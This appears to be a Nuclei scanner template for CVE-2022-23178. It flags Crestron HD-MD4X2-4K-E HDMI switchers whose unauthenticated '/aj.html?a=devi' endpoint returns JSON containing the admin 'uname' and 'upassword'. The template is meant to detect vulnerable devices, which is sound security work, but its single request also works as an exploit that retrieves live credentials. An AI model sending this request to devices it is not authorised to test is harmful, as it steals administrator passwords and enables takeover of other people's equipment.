id: CVE-2022-23178

info:
  name: Crestron Device - Credentials Disclosure
  author: gy741
  severity: critical
  description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
  reference:
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23178
    - https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-009
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23178
    cwe-id: CWE-287
    epss-score: 0.0307
  tags: cve,cve2022,crestron,disclosure
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/aj.html?a=devi"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"uname":'
          - '"upassword":'
        condition: and

# Enhanced by mp on 2022/02/28